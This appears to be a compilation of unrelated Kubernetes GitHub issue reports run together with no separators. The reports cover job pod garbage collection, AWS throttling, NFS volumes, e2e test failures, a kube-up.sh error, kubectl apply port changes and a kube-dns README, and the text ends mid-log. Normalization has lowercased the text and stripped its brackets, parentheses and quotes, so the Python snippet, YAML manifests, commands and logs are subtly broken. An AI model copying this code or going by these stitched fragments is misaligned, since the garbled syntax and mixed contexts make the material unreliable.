is this a bug report or feature request?  :\r \r >  \r   what happened  :\r \r pods are being left behind after the job is deleted, with  propagationpolicy  set to  foreground  or  background \r \r   what you expected to happen  :\r \r the pods should be deleted according to https://github.com/kubernetes/kubernetes/issues/20902\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - create a job\r - run the following python script with kubernetes-client installed  7.0.0b1 as this is the only client working with python 3 \r \r    \r import kubernetes\r import pprint\r \r kubernetes.config.load_kube_config  \r pprint.pprint api.delete_namespaced_job 'test', 'default', {}, propagation_policy='foreground'  \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:34:22z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r

what happened  :\r when scaling and attaching volumes to very large kubernetes clusters running on aws the cloud provider is returning ec2 api throttling errors when attempting to add nodes to the cluster and attach volumes to the nodes.\r \r the reason for this is due to the way the aws cloud provider uses tags. the tags query combines both a legacy tag and a modern tag into a logical or filter. this filter is not efficient within the ec2 api and results in the cloud provider being throttled when performing many ec2 api operations.\r \r   what you expected to happen  :\r scaling and volume attachment should succeed without being throttled by ec2.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r  

based on the discussion on the mailing list  https://groups.google.com/forum/ !topic/google-containers/j0qr971ktjc  i'm opening a feature request.  we have the following scenario in our application. on each container we run a multi-tennat java app. for each tenant we're using using 2 nfs volumes . one is used to store the tenant's files  inputs for processing,reports and other data we can't loose  and another one is to store temp data used for short lived temporary stuff. the reason why we're using nfs is that we need that to grow dynamically so here nfs/gluster us handy as based on the space usage alert we can increase it automatically up to some predefined limit, again without restarting the container. the ability to grow the data volume is also a requirement.  our tenants also move from one container to another when being upgraded. we move the tenant to another container because that runs a newer version of the app, however since moving them means a service interruption we can't always move all the tenants to a new version so we need to do it selectively without affecting the existing ones . when moving them we also need to unmount the volumes associated with the tenant and mount them on the new container.

some slow tests check for number of nodes > 2. sometimes route creation is delayed long enough that they fail. there seems to be enough quota, i can't get controller manager logs to see what the route controller was doing. observed on: https://github.com/kubernetes/kubernetes/issues/26490 issuecomment-224438182  gke because this only seems to happen in gke-slow and control-plane because it might be route controller starvation issue on master.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gce/20538/  failed:  k8s.io  variable expansion should allow composing env vars into new env vars  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:127 expected error:     < url.error | 0xc820e59110>: {         op: \ get\ ,         url: \ https://104.198.226.157/api/v1/watch/namespaces/e2e-tests-var-expansion-lbvhg/serviceaccounts?fieldselector=metadata.name%3ddefault\ ,         err: {},     }     get https://104.198.226.157/api/v1/watch/namespaces/e2e-tests-var-expansion-lbvhg/serviceaccounts?fieldselector=metadata.name%3ddefault: net/http: tls handshake timeout not to have occurred

hi, while creating a new cluster, we noticed that kube-node-unpacker failed to import kube-proxy docker image, because docker itself failed to run. here is the log:      aug 17 03:13:44 g113-node-n1-standard-1-do3v docker 14738 : time=\ 2016-08-17t03:13:44.627082774z\  level=fatal msg=\ error starting daemon: error initializing network controller: error creating default \\\ bridge\\\  network: bridge device with non default name cbr0 must be created manually\  aug 17 03:13:44 g113-node-n1-standard-1-do3v systemd 1 : docker.service: main process exited, code=exited, status=1/failure aug 17 03:13:44 g113-node-n1-standard-1-do3v systemd 1 : failed to start docker application container engine. aug 17 03:13:44 g113-node-n1-standard-1-do3v systemd 1 : unit docker.service entered failed state. aug 17 03:13:44 g113-node-n1-standard-1-do3v kube-node-unpacker.sh 14660 : job for docker.service failed. see 'systemctl status docker.service' and 'journalctl -xn' for details.      this is clearly a race condition. once i manually restarted the unpacker service, everything worked. is there a way to fix this?  thanks.

bug report: when trying to use kube-up.sh 2nd time after 1st failure  so it will use existing vpc , an error like this occurs:  ---  ... using vpc vpc-xxxxxxxx adding tag to dopt-xxxxxxxxx: name=kubernetes-dhcp-option-set adding tag to dopt-xxxxxxx: kubernetescluster=k8s14beta using dhcp option set dopt-xxxxxxxx using existing subnet with cidr 172.20.0.0/24 using subnet subnet-xxxxxxxx using internet gateway igw-xxxxxxxxx associating route table. associating route table rtb-xxxxxxxxto subnet subnet-xxxxxxxx adding route to route table rtb-xxxxxxxx using route table rtb-xxxxxxxxx creating master security group. creating security group kubernetes-master-k8s14beta. adding tag to sg-xxxxxxxx: kubernetescluster=k8s14beta using master security group: kubernetes-master-k8s14beta sg-xxxxxxxxxx generating certs for alternate-names: ip:52.34.28.112,ip:172.20.0.9,ip:10.0.0.1,dns:kubernetes,dns:kubernetes.default,dns:kubernetes.default.svc,dns:kubernetes.default.svc.cluster.local,dns:k8s14beta-master starting master adding tag to i-b32c1cab: name=k8s14beta-master adding tag to i-b32c1cab: role=k8s14beta-master adding tag to i-b32c1cab: kubernetescluster=k8s14beta waiting for master to be ready attempt 1 to check for master nodewaiting for instance i-b32c1cab to be running  currently pending  sleeping for 3 seconds... waiting for instance i-b32c1cab to be running  currently pending  sleeping for 3 seconds... waiting for instance i-b32c1cab to be running  currently pending  sleeping for 3 seconds... waiting for instance i-b32c1cab to be running  currently pending  sleeping for 3 seconds...   master running   a client error  invalidaddress.notfound  occurred when calling the describeaddresses operation: address '52.34.28.112' not found. attaching ip 52.34.28.112 to instance i-b32c1cab usage: aws  options  <command> <subcommand>  <subcommand> ...   parameters     aws: error: argument --allocation-id: expected one argument     ---  seems like it tried to access  '52.34.28.112'  before creating it  or before attaching to instance     kubernetes version  :  1.4.beta8   used this https://github.com/kubernetes/kubernetes/releases/download/v1.4.0-beta.8/kubernetes.tar.gz     environment  : -   cloud provider or hardware configuration  : aws -   os    e.g. from /etc/os-release : debian  default  -  _my env vars i set before running:  _   export kube_aws_instance_prefix=k8s14beta;   export vpc_name=k8s14beta-vpc;   export aws_s3_region=us-west-2;   export enable_cluster_logging=false;   export enable_node_logging=false;   export enable_cluster_monitoring=none;   export export kubernetes_provider=aws;   export kubernetes_skip_download=no;    what happened  : first run 2 days ago of kube-up.sh was ok until some stage where it \ couldn't connect to master\ .  then i tried it today again  cleaning up broken instances left from last run, i deleted security groups too, just left the vpc as is, from last attempt .    how to reproduce it  : i think possible to reproduce if running kube-up.sh with same env vars i used. it should fail 1st time, and show this error on 2nd attempt.    anything else do we need to know  : the ip it tries to reach on 2nd attempt seems the same it used last time for master, but i deleted master prior to this run, and released its eip, so expected the script to generate new eip this time.  also i don't think i had the eip anywhere in configs or env vars.. it somehow remembered it from last run.  would appreciate any advice of how to handle this. thanks :

is this a bug report or feature request?    choose one :   bug report  \r \r   kubernetes version    use  kubectl version  :\r    \r $ ./kubectl version                                                                                  0 \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:57:05z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 1970-01-01t00:00:00z\ , goversion:\ go1.7\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r   environment  :\r -   cloud provider or hardware configuration  : minikube  also reproducable in other envs \r -   os    e.g. from /etc/os-release : \r -   kernel    e.g.  uname -a  :\r -   install tools  :  minikube start --kubernetes-version v1.5.1 \r -   others  :\r \r \r   what happened  :\r \r assume you have a service:\r \r    yaml\r apiversion: v1\r kind: service\r metadata:\r   name: \ test-service\ \r spec:\r   selector:\r     application: \ test-service\ \r     stage: production\r   ports:\r     - port: 8080\r       targetport: 8080\r       protocol: tcp\r    \r \r and you create it with:  kubectl create -f svc.yaml .\r \r then if you want to change the port by modifying the manifest and applying:\r \r    yaml\r apiversion: v1\r kind: service\r metadata:\r   name: \ test-service\ \r spec:\r   selector:\r     application: \ test-service\ \r     stage: production\r   ports:\r     - port: 443\r       targetport: 8080\r       protocol: tcp\r    \r \r you get this error:\r \r    \r $ ./kubectl apply -f svc-new-port.yaml\r the service \ test-service\  is invalid: \r   spec.ports 0 .name: required value\r   spec.ports 1 .name: required value\r    \r \r \r   what you expected to happen  :\r \r i expect to be able to apply the changes without a conflict.\r \r interesting enough if i apply the initial service at any point before applying the port change then it works.\r \r e.g.:\r \r    \r $ ./kubectl create -f svc.yaml\r service \ test-service\  created\r $ ./kubectl apply -f svc.yaml\r service \ test-service\  configured\r $ ./kubectl apply -f svc-new-port.yaml\r service \ test-service\  configured\r    \r \r works fine.\r \r i would expect  create  and  apply  for the very first time would behave the same.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r create the two manifests from above and run:\r \r    \r $ kubectl create -f svc.yaml\r service \ test-service\  created\r $ kubectl apply -f svc-new-port.yaml\r the service \ test-service\  is invalid: \r   spec.ports 0 .name: required value\r   spec.ports 1 .name: required value\r    \r \r \r i also found this issue which sounds very related: https://github.com/kubernetes/kubernetes/issues/28225

https://kubernetes.io/docs/api/ has a link to https://kubernetes.io/kubernetes/third_party/swagger-ui/, and the latter is broken with the message \ can't read from server. it may not have the appropriate access-control-origin settings.\ \r \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r    what happened  :\r kube-dns cannot be build because of illegible readme.md and use of obscure/conflicting/unknown terms.\r \r   what you expected to happen  :\r the readme.md must first explain what is it trying to achieve and how, then it must lay down the procedures on how to achieve it.\r \r   how to reproduce it  as minimally and precisely as possible   :\r just open the readme and try to understand it.\r 1  'manually scale kube-dns deployment' must be the last issue since this's of concern after you've deployed kube-dns.\r 2  'underscore templates'... what  ok, but i do get an idea ? i google to get references to underscore.js but i don't know js.\r 3  'salt format'... what? you mean that saltstack thing?\r 4  \ kubedns-controller.yaml.in and kubedns.controller.yaml.in\ ... .in files where for autoconf, and the files don't look like anything for the cause of autoconf to process, but it maybe involved because a makefile exists.\r 5  'templating language' -- what is that? are you talking about manifests?\r \r   anything else we need to know?  :\r

is this a bug report or feature request?  :\r  \r   what happened  : e2e test for node failed\r \r   what you expected to happen  : it should pass\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    bash\r $ make test-e2e-node test_args='--kubelet-flags=\ --fail-swap-on=false\ ' focus=\ summary\ \r +++  0905 14:29:27  building the toolchain targets:\r     k8s.io/kubernetes/hack/cmd/teststale\r     k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r +++  0905 14:29:27  generating bindata:\r     test/e2e/generated/gobindata_util.go\r ~/go/src/k8s.io/kubernetes ~/go/src/k8s.io/kubernetes/test/e2e/generated\r ~/go/src/k8s.io/kubernetes/test/e2e/generated\r +++  0905 14:29:27  building go targets for linux/amd64:\r     vendor/github.com/onsi/ginkgo/ginkgo\r creating artifacts directory at /tmp/_artifacts/170905t142935\r test artifacts will be written to /tmp/_artifacts/170905t142935\r updating sudo credentials\r  sudo  password for anfernee: \r +++  0905 14:30:14  building the toolchain targets:\r     k8s.io/kubernetes/hack/cmd/teststale\r     k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r +++  0905 14:30:14  generating bindata:\r     test/e2e/generated/gobindata_util.go\r ~/go/src/k8s.io/kubernetes ~/go/src/k8s.io/kubernetes/test/e2e/generated\r ~/go/src/k8s.io/kubernetes/test/e2e/generated\r +++  0905 14:30:14  building go targets for linux/amd64:\r     cmd/kubelet\r     test/e2e_node/e2e_node.test\r     vendor/github.com/onsi/ginkgo/ginkgo\r running suite: e2enode suite\r ============================\r random seed: 1504647031 - will randomize all specs\r will run 247 specs\r \r running in parallel across 8 nodes\r \r 2017/09/05 14:30:32 proto: duplicate proto type registered: google.protobuf.any\r 2017/09/05 14:30:32 proto: duplicate proto type registered: google.protobuf.duration\r 2017/09/05 14:30:32 proto: duplicate proto type registered: google.protobuf.timestamp\r i0905 14:30:32.051638   20757 validators.go:44  validating os...\r os: linux\r i0905 14:30:32.052135   20757 validators.go:44  validating kernel...\r i0905 14:30:32.052494   20757 kernel_validator.go:77  validating kernel version\r kernel_version: 4.10.0-32-generic\r i0905 14:30:32.052531   20757 kernel_validator.go:92  validating kernel config\r config_namespaces: enabled\r config_net_ns: enabled\r config_pid_ns: enabled\r config_ipc_ns: enabled\r config_uts_ns: enabled\r config_cgroups: enabled\r config_cgroup_cpuacct: enabled\r config_cgroup_device: enabled\r config_cgroup_freezer: enabled\r config_cgroup_sched: enabled\r config_cpusets: enabled\r config_memcg: enabled\r config_inet: enabled\r config_ext4_fs: enabled\r config_proc_fs: enabled\r config_netfilter_xt_target_redirect: enabled  as module \r config_netfilter_xt_match_comment: enabled  as module \r config_overlay_fs: enabled  as module \r config_aufs_fs: enabled  as module \r config_blk_dev_dm: enabled\r i0905 14:30:32.059647   20757 validators.go:44  validating cgroups...\r cgroups_cpu: enabled\r cgroups_cpuacct: enabled\r cgroups_cpuset: enabled\r cgroups_devices: enabled\r cgroups_freezer: enabled\r cgroups_memory: enabled\r i0905 14:30:32.059695   20757 validators.go:44  validating package...\r i0905 14:30:32.059698   20757 validators.go:44  validating docker...\r docker_version: 17.06.1-ce\r pass\r i0905 14:30:32.070638   20651 e2e_node_suite_test.go:146  pre-pulling images so that they are cached for the tests.\r i0905 14:30:32.070658   20651 image_list.go:137  pre-pulling images with docker  gcr.io/google-containers/stress:v1 gcr.io/google_containers/busybox:1.24 gcr.io/google_containers/busybox@sha256:4bdd623e848417d96127e16037743f0cd8b528c026e9175e22a84f639eca58ff gcr.io/google_containers/e2e-net-amd64:1.0 gcr.io/google_containers/eptest:0.1 gcr.io/google_containers/hostexec:1.2 gcr.io/google_containers/liveness:e2e gcr.io/google_containers/mounttest-user:0.5 gcr.io/google_containers/mounttest:0.8 gcr.io/google_containers/netexec:1.4 gcr.io/google_containers/netexec:1.5 gcr.io/google_containers/netexec:1.7 gcr.io/google_containers/nginx-slim:0.7 gcr.io/google_containers/node-problem-detector:v0.4.1 gcr.io/google_containers/nonewprivs:1.2 gcr.io/google_containers/pause-amd64:3.0 gcr.io/google_containers/serve_hostname:v1.4 gcr.io/google_containers/test-webserver:e2e gcr.io/google_containers/volume-gluster:0.2 gcr.io/google_containers/volume-nfs:0.8 google/cadvisor:latest \r i0905 14:31:10.012329   20651 kubelet.go:96  starting kubelet\r i0905 14:31:10.012378   20651 feature_gate.go:150  feature gates: map localstoragecapacityisolation:true \r i0905 14:31:10.012808   20651 server.go:147  starting server \ kubelet\  with command \ /usr/bin/systemd-run --unit=kubelet-393838735.service --slice=runtime.slice --remain-after-exit /home/anfernee/go/src/k8s.io/kubernetes/_output/local/go/bin/kubelet --kubelet-cgroups=/kubelet.slice --cgroup-root=/ --kubeconfig /home/anfernee/go/src/k8s.io/kubernetes/_output/local/go/bin/kubeconfig --address 0.0.0.0 --port 10250 --read-only-port 10255 --root-dir /var/lib/kubelet --volume-stats-agg-period 10s --allow-privileged true --serialize-image-pulls false --pod-manifest-path /home/anfernee/go/src/k8s.io/kubernetes/_output/local/go/bin/pod-manifest316569555 --file-check-frequency 10s --pod-cidr 10.100.0.0/24 --eviction-pressure-transition-period 30s --feature-gates  --eviction-hard memory.available<250mi,nodefs.available<10%%,nodefs.inodesfree<5%% --eviction-minimum-reclaim nodefs.available=5%%,nodefs.inodesfree=5%% --v 4 --logtostderr --network-plugin=kubenet --cni-bin-dir /home/anfernee/go/src/k8s.io/kubernetes/_output/local/go/bin/cni/bin --cni-conf-dir /home/anfernee/go/src/k8s.io/kubernetes/_output/local/go/bin/cni/net.d --hostname-override anfernee-xps-15-9560 --container-runtime=docker --network-plugin= --cni-bin-dir= --fail-swap-on=false\ \r i0905 14:31:10.012901   20651 server.go:102  running readiness check for service \ kubelet\ \r i0905 14:31:10.013003   20651 server.go:175  output file for server \ kubelet\ : /tmp/_artifacts/170905t142935/kubelet.log\r i0905 14:31:10.013343   20651 server.go:217  running health check for service \ kubelet\ \r i0905 14:31:10.013371   20651 server.go:102  running readiness check for service \ kubelet\ \r i0905 14:31:11.014111   20651 server.go:147  starting server \ services\  with command \ /home/anfernee/go/src/k8s.io/kubernetes/_output/local/go/bin/e2e_node.test --run-services-mode --test.timeout=24h --ginkgo.seed=1504647031 --ginkgo.focus=summary --ginkgo.skip=\\\\ flaky\\\\ |\\\\ slow\\\\ |\\\\ serial\\\\  --ginkgo.parallel.node=1 --ginkgo.parallel.total=8 --ginkgo.parallel.streamhost=http://127.0.0.1:44677 --ginkgo.parallel.synchost=http://127.0.0.1:44677 --ginkgo.slowspecthreshold=5.00000 --container-runtime=docker --container-runtime-endpoint= --image-service-endpoint= --alsologtostderr --v 4 --report-dir=/tmp/_artifacts/170905t142935 --node-name anfernee-xps-15-9560 --kubelet-flags=--container-runtime=docker --kubelet-flags=--network-plugin= --cni-bin-dir= --kubelet-flags=--fail-swap-on=false\ \r i0905 14:31:11.014235   20651 server.go:102  running readiness check for service \ services\ \r i0905 14:31:11.014376   20651 server.go:175  output file for server \ services\ : /tmp/_artifacts/170905t142935/services.log\r i0905 14:31:11.014448   20651 server.go:228  initial health check passed for service \ kubelet\ \r i0905 14:31:11.014796   20651 server.go:206  waiting for server \ services\  start command to complete\r i0905 14:31:15.022341   20651 e2e_node_suite_test.go:161  node services started.  running tests...\r i0905 14:31:15.022366   20651 e2e_node_suite_test.go:166  wait for the node to be ready\r \r ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\r ------------------------------\r  beforeeach   k8s.io  summary api\r   /home/anfernee/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:139\r step: creating a kubernetes client\r step: building a namespace api object\r sep  5 14:31:17.113: info: skipping waiting for service account\r  it  should report resource usage through the stats api\r   /home/anfernee/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/summary_test.go:52\r step: creating test pods\r i0905 14:31:19.127640   20651 summary_test.go:64  verify error: \ pod stats-busybox-0 had container with restartcount 0.  should have been at least 1\ \r i0905 14:31:24.130636   20651 summary_test.go:64  verify error: %!q <nil> \r i0905 14:31:24.133053   20651 summary_test.go:64  verify error: %!q <nil> \r step: validating /stats/summary\r  aftereach  when querying /stats/summary\r   /home/anfernee/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/summary_test.go:42\r sep  5 14:32:39.138: info: running kubectl logs on non-ready containers in e2e-tests-summary-test-pxg8h\r step: recording processes in system cgroups\r sep  5 14:32:39.143: info: processes in kubelet cgroup  /kubelet.slice :\r sep  5 14:32:39.143: info:   /home/anfernee/go/src/k8s.io/kubernetes/_output/local/go/bin/kubelet--kubelet-cgroups=/kubelet.slice--cgroup-root=/--kubeconfig/home/anfernee/go/src/k8s.io/kubernetes/_output/local/go/bin/kubeconfig--address0.0.0.0--port10250--read-only-port10255--root-dir/var/lib/kubelet--volume-stats-agg-period10s--allow-privilegedtrue--serialize-image-pullsfalse--pod-manifest-path/home/anfernee/go/src/k8s.io/kubernetes/_output/local/go/bin/pod-manifest316569555--file-check-frequency10s--pod-cidr10.100.0.0/24--eviction-pressure-transition-period30s--feature-gates--eviction-hardmemory.available<250mi,nodefs.available<10%,nodefs.inodesfree<5%--eviction-minimum-reclaimnodefs.available=5%,nodefs.inodesfree=5%--v4--logtostderr--network-plugin=kubenet--cni-bin-dir/home/anfernee/go/src/k8s.io/kubernetes/_output/local/go/bin/cni/bin--cni-conf-dir/home/anfernee/go/src/k8s.io/kubernetes/_output/local/go/bin/cni/net.d--hostname-overrideanfernee-xps-15-9560--container-runtime=docker--network-plugin=--cni-bin-dir=--fail-swap-on=false\r sep  5 14:32:39.143: info:   journalctl-k-f\r sep  5 14:32:39.143: info: skipping unconfigured cgroup runtime\r sep  5 14:32:39.143: info: skipping unconfigured cgroup misc\r  aftereach   k8s.io  summary api\r   /home/anfernee/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:140\r step: collecting events from namespace \ e2e-tests-summary-test-pxg8h\ .\r step: found 8 events.\r sep  5 14:32:39.148: info: at 2017-09-05 14:31:17 -0700 pdt - event for stats-busybox-0: {kubelet anfernee-xps-15-9560} successfulmountvolume: mountvolume.setup succeeded for volume \ test-empty-dir\  \r sep  5 14:32:39.148: info: at 2017-09-05 14:31:17 -0700 pdt - event for stats-busybox-1: {kubelet anfernee-xps-15-9560} successfulmountvolume: mountvolume.setup succeeded for volume \ test-empty-dir\  \r sep  5 14:32:39.148: info: at 2017-09-05 14:31:18 -0700 pdt - event for stats-busybox-0: {kubelet anfernee-xps-15-9560} pulled: container image \ gcr.io/google_containers/busybox:1.24\  already present on machine\r sep  5 14:32:39.148: info: at 2017-09-05 14:31:18 -0700 pdt - event for stats-busybox-0: {kubelet anfernee-xps-15-9560} created: created container\r sep  5 14:32:39.148: info: at 2017-09-05 14:31:18 -0700 pdt - event for stats-busybox-0: {kubelet anfernee-xps-15-9560} started: started container\r sep  5 14:32:39.148: info: at 2017-09-05 14:31:18 -0700 pdt - event for stats-busybox-1: {kubelet anfernee-xps-15-9560} pulled: container image \ gcr.io/google_containers/busybox:1.24\  already present on machine\r sep  5 14:32:39.148: info: at 2017-09-05 14:31:18 -0700 pdt - event for stats-busybox-1: {kubelet anfernee-xps-15-9560} created: created container\r sep  5 14:32:39.148: info: at 2017-09-05 14:31:18 -0700 pdt - event for stats-busybox-1: {kubelet anfernee-xps-15-9560} started: started container\r sep  5 14:32:39.154: info: pod              node                  phase    grace  conditions\r sep  5 14:32:39.154: info: stats-busybox-0  anfernee-xps-15-9560  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-09-05 14:31:17 -0700 pdt  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-09-05 14:31:20 -0700 pdt  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-09-05 14:31:18 -0700 pdt  } \r sep  5 14:32:39.154: info: stats-busybox-1  anfernee-xps-15-9560  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-09-05 14:31:17 -0700 pdt  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-09-05 14:31:19 -0700 pdt  } \r sep  5 14:32:39.154: info: \r sep  5 14:32:39.157: info: \r logging node info for node anfernee-xps-15-9560\r sep  5 14:32:39.160: info: node info: &node{objectmeta:k8s_io_apimachinery_pkg_apis_meta_v1.objectmeta{name:anfernee-xps-15-9560,generatename:,namespace:,selflink:/api/v1/nodes/anfernee-xps-15-9560,uid:8c991fd5-9281-11e7-93ca-9cb6d0dcfa01,resourceversion:107,generation:0,creationtimestamp:2017-09-05 14:31:16 -0700 pdt,deletiontimestamp:<nil>,deletiongraceperiodseconds:nil,labels:map string string{beta.kubernetes.io/arch: amd64,beta.kubernetes.io/os: linux,kubernetes.io/hostname: anfernee-xps-15-9560,},annotations:map string string{volumes.kubernetes.io/controller-managed-attach-detach: true,},ownerreferences:  ,finalizers:  ,clustername:,initializers:nil,},spec:nodespec{podcidr:,externalid:anfernee-xps-15-9560,providerid:,unschedulable:false,taints:  ,configsource:nil,},status:nodestatus{capacity:resourcelist{cpu: {{8 0} {<nil>} 8 decimalsi},memory: {{33136410624 0} {<nil>}  binarysi},pods: {{110 0} {<nil>} 110 decimalsi},},allocatable:resourcelist{cpu: {{8 0} {<nil>} 8 decimalsi},memory: {{32874266624 0} {<nil>}  binarysi},pods: {{110 0} {<nil>} 110 decimalsi},},phase:,conditions: {outofdisk false 2017-09-05 14:32:36 -0700 pdt 2017-09-05 14:31:16 -0700 pdt kubelethassufficientdisk kubelet has sufficient disk space available} {memorypressure false 2017-09-05 14:32:36 -0700 pdt 2017-09-05 14:31:16 -0700 pdt kubelethassufficientmemory kubelet has sufficient memory available} {diskpressure false 2017-09-05 14:32:36 -0700 pdt 2017-09-05 14:31:16 -0700 pdt kubelethasnodiskpressure kubelet has no disk pressure} {ready true 2017-09-05 14:32:36 -0700 pdt 2017-09-05 14:31:16 -0700 pdt kubeletready kubelet is posting ready status. apparmor enabled} ,addresses: {internalip 10.20.72.188} {hostname anfernee-xps-15-9560} ,daemonendpoints:nodedaemonendpoints{kubeletendpoint:daemonendpoint{port:10250,},},nodeinfo:nodesysteminfo{machineid:c06eb2f1f1bb48f89b64ca6ef24db411,systemuuid:4c4c4544-004e-3310-8058-b3c04f5a4632,bootid:b3a5b734-77f4-40e0-867c-5c2b3e5a6940,kernelversion:4.10.0-32-generic,osimage:ubuntu 16.04.2 lts,containerruntimeversion:docker://unknown,kubeletversion:v1.8.0-alpha.2.1928+493ee8b28560c1,kubeproxyversion:v1.8.0-alpha.2.1928+493ee8b28560c1,operatingsystem:linux,architecture:amd64,},images: { gcr.io/google_containers/node-problem-detector@sha256:f95cab985c26b2f46e9bd43283e0bfa88860c14e0fb0649266babe8b65e9eb2b gcr.io/google_containers/node-problem-detector:v0.4.1  286572743} { gcr.io/google_containers/volume-nfs@sha256:83ba87be13a6f74361601c8614527e186ca67f49091e2d0d4ae8a8da67c403ee gcr.io/google_containers/volume-nfs:0.8  247157334} { gcr.io/google_containers/volume-gluster@sha256:1f7e94e1d0474e33c1d4bde5636b74dcc13ae13e9dc1f037b629416f8200dfa9 gcr.io/google_containers/volume-gluster:0.2  212135622} { ubuntu@sha256:34471448724419596ca4e890496d375801de21b0e67b81a77fd6155ce001edad ubuntu:latest  120102168} { gcr.io/google_containers/nginx-slim@sha256:dd4efd4c13bec2c6f3fe855deeab9524efe434505568421d4f31820485b3a795 gcr.io/google_containers/nginx-slim:0.7  86864428} { google/cadvisor@sha256:ed53f9f93bb52d64fa8f95daece42d95d18d1e48a8ec9237bd5944ed634348a1 google/cadvisor:latest  57342587} { gcr.io/google_containers/hostexec@sha256:cab8d4e2526f8f767c64febe4ce9e0f0e58cd35fdff81b3aadba4dd041ba9f00 gcr.io/google_containers/hostexec:1.2  13209617} { gcr.io/google_containers/e2e-net-amd64@sha256:c2cd1e40bcedaacbf85504efa20b1f98edab7767129a4ceb175a0424b8afabc1 gcr.io/google_containers/e2e-net-amd64:1.0  11051074} { gcr.io/google_containers/netexec@sha256:56c53846f44ea214e4aa5df37c9c50331f0b09e64a32cc7cf17c7e1808d38eef gcr.io/google_containers/netexec:1.7  8016035} { gcr.io/google_containers/netexec@sha256:ef47c9daba60a153a016305267775fdd2db748c910fbdccd4d2f7ca8e0658f47 gcr.io/google_containers/netexec:1.5  7358440} { gcr.io/google_containers/netexec@sha256:63eb106f67023936ceb12345b4c5fcae23b6665931d04ad0916370f090a3f1a1 gcr.io/google_containers/netexec:1.4  7297019} { gcr.io/google_containers/alpine-with-bash@sha256:0955672451201896cf9e2e5ce30bec0c7f10757af33bf78b7a6afa5672c596f5 gcr.io/google_containers/alpine-with-bash:1.0  6665146} { gcr.io/google_containers/serve_hostname@sha256:a49737ee84a3b94f0b977f32e60c5daf11f0b5636f1f7503a2981524f351c57a gcr.io/google_containers/serve_hostname:v1.4  6222101} { gcr.io/google_containers/nonewprivs@sha256:a343c87a3611810956279be783986ab0771c460d3b7a967cccc64e66ccfb1820 gcr.io/google_containers/nonewprivs:1.2  5720255} { gcr.io/google-containers/stress@sha256:f00aa1ddc963a3164aef741aab0fc05074ea96de6cd7e0d10077cf98dd72d594 gcr.io/google-containers/stress:v1  5494760} { alpine@sha256:d9477888b78e8c6392e0be8b2e73f8c67e2894ff9d4b8e467d1488fcceec21c8 alpine:3.1  5046821} { gcr.io/authenticated-image-pulling/alpine@sha256:cd757af8e9122c14fb0609cb1ff0966beea36cd996122be997ff505be4406905 gcr.io/authenticated-image-pulling/alpine:3.1  5042677} { gcr.io/google_containers/test-webserver@sha256:f804e8837490d1dfdb5002e073f715fd0a08115de74e5a4847ca952315739372 gcr.io/google_containers/test-webserver:e2e  4534272} { gcr.io/google_containers/liveness@sha256:90994881062c7de7bb1761f2f3d020fe9aa3d332a90e00ebd3ca9dcc1ed74f1c gcr.io/google_containers/liveness:e2e  4387474} { gcr.io/google_containers/eptest@sha256:bb088b26ed78613cce171420168db9a6c62a8dbea17d7be13077e7010bae162f gcr.io/google_containers/eptest:0.1  2970692} { gcr.io/google_containers/mounttest@sha256:bec3122ddcf8bd999e44e46e096659f31241d09f5236bc3dc212ea584ca06856 gcr.io/google_containers/mounttest:0.8  1450761} { gcr.io/google_containers/mounttest-user@sha256:5487c126b03abf4119a8f7950cd5f591f72dbe4ab15623f3387d3917e1268b4e gcr.io/google_containers/mounttest-user:0.5  1450761} { gcr.io/google_containers/busybox@sha256:4bdd623e848417d96127e16037743f0cd8b528c026e9175e22a84f639eca58ff gcr.io/google_containers/busybox:1.24  1113554} { gcr.io/google_containers/pause-amd64@sha256:163ac025575b775d1c0f9bf0bdd0f086883171eb475b5068e7defa4ca9e76516 gcr.io/google_containers/pause-amd64:3.0  746888} ,volumesinuse:  ,volumesattached:  ,},}\r sep  5 14:32:39.161: info: \r logging kubelet events for node anfernee-xps-15-9560\r sep  5 14:32:39.162: info: \r logging pods the kubelet thinks is on node anfernee-xps-15-9560\r sep  5 14:32:39.181: info: 